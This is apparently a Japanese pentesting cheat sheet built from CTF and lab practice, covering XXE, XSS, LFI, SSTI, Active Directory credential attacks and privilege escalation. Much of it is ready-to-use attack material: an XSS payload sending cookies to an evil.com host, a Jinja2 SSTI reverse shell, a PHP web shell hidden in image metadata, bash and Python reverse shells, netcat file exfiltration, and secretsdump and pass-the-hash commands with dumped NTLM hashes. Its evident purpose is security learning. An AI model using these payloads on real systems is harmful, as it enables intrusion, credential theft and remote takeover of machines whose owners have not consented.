本来アクセスできない領域(ローカル・リモート)にあるファイルへアクセスできる。
XXE による LFI では、外部実体参照の記法を用いる。 例えば以下の XML を利用すると、脆弱なサーバ内の機密データにアクセスできる。
<!DOCTYPE data [
<!ENTITY secretData SYSTEM "file:///etc/passwd">
]>
<data>
&secretData;
</data>
</data>
ここでは、 file:// スキームを利用することで、ローカルファイル内にある /etc/passwd というセンシティブなファイルを表示させるようなXML となっている。
- detect のコツ
あやしいinput fieldに、<b>XSS TEST</b> をうめこみ、太字になるか確かめる。
ex:
<script>document.location='/log/'+document.cookie</script>
<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />
http://<url>/script.php?page=../../../../../../../../etc/passwd
http://<url>/script.php?page=../../../../../../../../etc/hosts
Examples:
http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd
python lfi2rce.py --linux 10.10.10.84 /browse.php?file=../../../../../.. --error "failed to open stream" -v
- LFIを利用して読み取りを狙うファイル:
Linux
/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/home/user/.ssh/authorized_keys
/home/user/.ssh/id_rsa
Windows
/boot.ini
/autoexec.bat
/windows/system32/drivers/etc/hosts
/windows/repair/S
リンク: PayloadAllTheThings
疑うきっかけは、 URL や input box をみたとき。
具体的には、GET /users/profile/testしたときに、「Hello, test!」と表示されるのをみたとき。
その場合、Fuzzing: ${{<%[%'"}}% を入力し、internal server error がでたら、SSTIのサイン
identity, exploitについては、PayloadAllTheThings 参照
example payload (jinja2)
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.23\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
chiselは、WebSocketを使用したGo言語で作られたTCPトンネリングツールであり、トンネリング通信はSSHで暗号化されている。
kali:./chisel server -p 8000 -reverse -v
strapi: ./chisel client 10.10.14.23:8000 R:8001:localhost:8000
(ただ、kali上で、netstat すると、全て(0.0.0.0)の8001への接続で、strapi上の8000のサービスへのアクセスができてしまうので、セキュリティがまずいので、以下のコマンド)
strapi: ./chisel client 10.10.14.23:8000 R:127.0.0.1:8001:localhost:8000
$ radare2 rev100
- 表層解析
[0x080483a0]> iI # i: informationコマンド、import,export,string情報をえる
[0x080483a0]> ii
[0x080483a0]> iE
[0x080483a0]> iz
- 静的解析
[0x080483a0]> aaa # autoname function"をすべて解析するコマンド
[0x080483a0]> afl # main関数が見つかる
[0x080483a0]> s main # s(seek)コマンドでmain関数に移動
[0x0804849d]> pdc # 逆アセンブル(C言語like pdf でアセンブリ言語にできる)
[CTF 問題](https://www.serotoninpower.club/archives/894/#q21-reversing-reversing-easy)
Pass the Hashは、ハッキングテクニックの1つ。攻撃者は、通常、平文のパスワードユーザが要求されるケースで、パスワードの代わりにパスワードのNTLMハッシュやLMハッシュを使用して、リモートのサーバやサービスを認証する。
多くの組織で端末の展開やヘルプデスクのためにパスワードが使い回されている点を利用すれば、「1端末を侵害してハッシュを入手できれば、いとも簡単に横断的侵害ができる。
Pass-The-Ticketは、窃取したドメイン管理者権限を用いて不正な認証チケットを作成することで、サービスへのアクセスに必要な「Service Ticket」と、この入手のために必要な「TGT」を作成することを指す。
TGTは「Golden Ticket」、Service Ticketは「Silver Ticket」とも呼ばれる。それぞれの有効期限が10年で、これを用いれば、どこからでも誰にでも成り済ませる。
さらにシステム上は正規のチケットと区別はつかず、検知は難しい。Pass the Ticketには以下3種類の手法があります。
・Goldenチケット(TGT)を用いた手法
・Silverチケット(Service Ticket)を用いた手法
・既存のチケットを用いた手法
1. Golden Ticketを用いたPass the Ticketというのは任意のTGTを不正に生成し、なりすます手法であり、生成された任意のTGTはパスワード認証を求められることなく、管理者を含む任意のアカウントになりすますことができてしまう。
2. Silver Ticketを用いた手法は任意のService Ticketを不正に生成し、なりすます手法であり、利用したいサービスごとにService Ticketを生成する必要がある。
3. 既存のチケットを用いた手法は、管理者が使用しているクライアント端末に対してPass the Hashなどを利用してTGTやService Ticketを取得して、管理者になりすますことが可能となる。
ドメイン管理者アカウントがサービスアカウントとして登録されている場合に、オフラインでパスワードを解析することによりパスワードが判明するパターン。
サービスチケット(ネットワーク内の各種サーバへアクセスする際、認証に使用されるチケット)からツール等を用いてサービス・アカウントのパスワードをクラックする。
Kerberoastingの流れ
-
Active Directoryをスキャンしてサービス・アカウント(SPNがセットされているアカウント)を列挙する。
-
1.で列挙したサービス・アカウントに関連するサービスチケットをKDCから発行してもらう。
-
発行されたサービスチケットをメモリに展開してファイルに保存する。
-
ツール等を用いてオフラインでサービスチケットからサービス・アカウントのパスワードをクラックする。
ex1: Rubeus.exe kerberoast
ex2: GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.127.183 -request
TryHackme: Attactive Directory
- いつ使うか?
With Kerberos port open, we can use a tool called Kerbrute to brute force discovery of users, passwords and even password spray!
・ enumerate valid usernames
kerbrute userenum -d spookysec.local --dc 10.10.176.6 user.txt
svc-admin や、backupというアカウントは、adminアクセスできる(gain further access)ことがある。
Active directory penetest する上での No1ツール。
attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ set. allow us to query ASReproastable accounts from the Key Distribution Center.
ASREPRoasting: DONT_REQ_PREAUTH というのがenabled になっているアカウント(svc-admin, backup など)でrequest をおこなえば、preauth がおこらない。ゆえに、そのresponse でhashを取得できれば、password を取得できる。
・userを上のkerbrute userenumでひっかけた場合
GetNPUsers.py -dc-ip 10.10.108.200 spookysec.local/svc-admin -no-pass
・それ以外の場合
python3 /home/kali/.local/bin/GetNPUsers.py -dc-ip 10.10.176.6 spookysec.local/ -usersfile user.txt
Kerberoasting
try to find and fetch Service Principal Names that are associated with normal user accounts.
GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.127.183 -request
remote machine から秘匿情報をdumpする。
we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys
secretsdump.py spooky.sec.local/backup:'backup2517860'@10.10.108.200 -just-dc
-just-dc: Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)
結果:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
...
Windowsのメモリ上に保持されているアカウントの認証情報にアクセスし、管理者権限の取得や他のアカウントの「なりすまし」を行うためのツール
- 資格情報の取得
・生パスワード (キャッシュに存在すれば)
・NTLMパスワードハッシュ値
・Kerberosチケット
- なりすまし攻撃
・Pass-the-Hash
・Pass-the-Ticket
・Ticketの偽造
evil-winrm -i 10.10.186.130 -u administrator -H 0e0363213e37b94221497260b0bcb4fc
i: ip
u: user
H: nt hash
evil-winrm の代替手段。
secretsdump.pyで得られたhashを用いて、remote execution を行う
psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc
Windws:
search -f user.txt
exe: 欲しいファイルが winPEAS64.exe
Linux で port 8000 で simpleHttpserver起動後
1. powershell あり
powershell -c wget "http://10.8.219.23:8000/winPEASx86.exe" -outfile "winPEAS.exe"
2. powershell なし
certutil -urlcache -f http://ip:8000/winPEASx64.exe winPEASx64.exe
-f: 特定の URL のフェッチとキャッシュの更新を強制する。
where /r . user.txt
tree /f /a \Users
ex: filename.exe を実行
.\filename.exe
sc stop hogeservice
- searchsploit -m
exploit を current directory へ copy
─$ searchsploit PRTG
------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------- ---------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | windows/webapps/46527.sh
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) | windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting | java/webapps/34108.txt
searchsploit -m windows/webapps/46527.sh
-m, --mirror [EDB-ID] Mirror (aka copies) an exploit to the current working directory.
- searchsploit -x
searchsploit -x windows/remote/41738.py
-x エクスプロイトの中身を見る
python -c 'import pty; pty.spawn("/bin/bash")'
-c: command Specify the command to execute.
pty: pty モジュールは擬似端末(他のプロセスを実行してその制御をしている端末をプログラムで読み書きする) を制御する操作を定義
pty.spawn: プロセスを生成して制御端末を現在のプロセスの標準入出力に接続する。 これは制御端末を読もうとするプログラムをごまかすために利用される。
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo; fg
enter
・TERM variable not set と言われたら・・・
kali terminal で、
echo $TERM (example response: xterm-256color)
侵入先のshellで、 export TERM=xterm-256color
sudo id
sudo groups
・sudo -l
-l: sudoを実行するユーザーに許可されているコマンドを一覧表示する。
・root になる
sudo su
su: switch user
sudo -i でもできる
i: rootユーザーのデフォルトのシェルをログインシェルとして実行する
ex: impacket
github のreleases へいき、
wget https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_21/impacket-0.9.21.tar.gz
tar -zxvf impacket-0.9.21.tar.gz
cd impacket-0.9.21
pip install .
コマンドラインを、リモートで実行できる。 リンク
- nc でファイル転送したい
[リンク](https://eel3.hatenablog.com/entry/20160422/1461336229)
ex:
kali側:
nc -lvnp 1337 > backup_ssh.tgz
進入先のサーバー側:
nc 10.10.14.2 1337 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
- etc/passwd を書き換える
(イエラエセキュリティ勉強会ででてきた)
open -1 -salt xxxxxxxx password;
→ xxj31ZMTZzkVA
root:x:....
hiro:xxj31ZMTZzkVA:....
そのあとに、su hiro する。
- github のremote のコードを、local に落としたい。
→ 欲しいディレクトリにあるファイルに移動 → raw をクリック → ex: wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
- releases のbinary をdownload したい場合。
対象で右クリック → copy link location でurl 取得 wget "url"
- eval 関数について
eval関数は、引数に指定した文字列をpythonプログラムコードとして評価・実行する機能をもつ関数となる。 特に組み込みのeval関数では、悪意のあるユーザーから受け取った文字列をプログラムとして実行してしまいシステムに侵入される等の脆弱性、危険性がある。 そのため外部からの文字列を受け取る場合、組み込みのeval関数は使用してはならない。
例)pythonからLinuxのコマンドを実行出来てしまう、、、
>>> eval("__import__('os').system('uname -a')", {})
Linux ubuntu 4.4.0-17763-................
- exiftool
画像のmetadata のcomment を利用して、reverse shell
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']);?>' image.png
http://10.10.10.185/images/uploads/profile.php.png?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.23%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B%22/bin/sh%22,%22-i%22%5D);%27
- 改行などがうまく表示できていない時
/bin/sh^M : bad interpreter: No such file or directory
dos2unix ファイル名
- reverse shell がうまくいかない。
bash → bash -c "bash -i >& /dev/tcp/ip/port 0>&1" とする。
python → python3 に変更する
- 半角が原因で、コマンドがうまく実行できない。
$IFS 使う。








